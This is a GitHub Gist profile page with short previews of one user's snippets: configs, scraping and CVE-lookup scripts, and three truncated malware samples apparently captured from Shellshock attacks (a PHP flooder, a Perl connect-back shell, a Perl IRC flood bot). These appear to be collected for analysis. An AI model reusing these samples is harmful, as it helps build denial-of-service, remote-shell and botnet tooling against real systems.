Skip to content

Instantly share code, notes, and snippets.

View diogomonica's full-sized avatar

Diogo Mónica diogomonica

View GitHub Profile
<!DOCTYPE html>
<head>
<title>fft.js</title>
<script src='lib/real.js'></script>
<script src='lib/complex.js'></script>
<script>
var input = new Float64Array(32);
var result = new Float64Array(64);
insserver@bear:~/serverfiles/insurgency/cfg$ cat ins-server.cfg
// server name
hostname "Amor de Gandalf"
// rcon passsword
rcon_password "?????????"
// Server password
sv_password "bruno"
// ---------------------------------------------------------------
require 'rubygems'
require 'mechanize'
require 'pry'
def start_url()
return "https://booknow.appointment-plus.com/6gj719v2/"
end
url = start_url()
agent = Mechanize.new { |agent|
### Keybase proof
I hereby claim:
* I am diogomonica on github.
* I am diogomonica (https://keybase.io/diogomonica) on keybase.
* I have a public key whose fingerprint is 9D76 4CD5 0699 B67B 5840 5663 2392 3F3E 3881 7C25
To claim this, I am signing this object:
@diogomonica
diogomonica / cve_rh_search.rb
Last active August 29, 2015 14:04
Get description of the all the CVE's for vulnerabilities that affect RHEL, given an importance level and a year
require 'nokogiri'
require 'open-uri'
def get_cve_description_text(cve_id)
cve_search = Nokogiri.HTML(open("http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=#{cve_id}"))
description = cve_search.xpath('//*[@id="GeneratedTable"]')
description_text = description.text
begin
description_text = description[0].children[1].children[3].text
rescue => e
@diogomonica
diogomonica / conf.php
Created September 26, 2014 17:38
Shellshock attack conf.php
?php
error_reporting(E_ERROR | E_PARSE);
ignore_user_abort(TRUE);
$packets = 0;
set_time_limit(0);
$length=65000;
$sp=1;
function rndstr($length) {
$charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
@diogomonica
diogomonica / a.pl
Created September 26, 2014 18:17
Shellshock perl connect-back shell
#!/usr/bin/perl -w
use IO::Socket;
use Fcntl;
# IOCTLs
$TIOCGPTN = -2147199952;
$TIOCSPTLCK = 1074025521;
$EAGAIN=11;
#!/usr/bin/perl
####################################################################################################################
####################################################################################################################
## ps Perl IrcBot v1.02012 bY CrAmEr @ps Security Team ## [ Help ] ####################################
## Stealth MultiFunctional IrcBot Writen in Perl #####################################################
## Teste on every system with PERL instlled ## !x @system ##
## ## !x @version ##
## This is a free program used on your own risk. ## !x @channel ##
## Created for educational purpose only. ## !x @flood ##
## I'm not responsible for the illegal use of this program. ## !x @utils
@diogomonica
diogomonica / resolve_csv_hosts.rb
Last active August 29, 2015 14:10
Resolve IPs for a CSV with hosts on the last column
#! /bin/env ruby
require 'socket'
if ARGV.length != 1
puts "# Usage: #{$0} FILNAME.csv"
exit(-1)
end
input_filename = ARGV.first
unless File.exist? input_filename
curl -vv --header "Referer:https://weather.torproject.org/" --data "csrfmiddlewaretoken=8Aejx64oSMiEsAs44HoCYhGLeoWTQ1AY&email_1=fakefakefake2%40gmail.com&email_2=fakefakefake2%40gmail.com&fingerprint=E247E0910862C6EA81A61CD5CCB31485BB3A7569&get_node_down=on&node_down_grace_pd=1&node_down_grace_pd_unit=D&band_low_threshold=Default+value+is+20" https://weather.torproject.org/subscribe/ --cookie "csrftoken=8Aejx64oSMiEsAs44HoCYhGLeoWTQ1AY"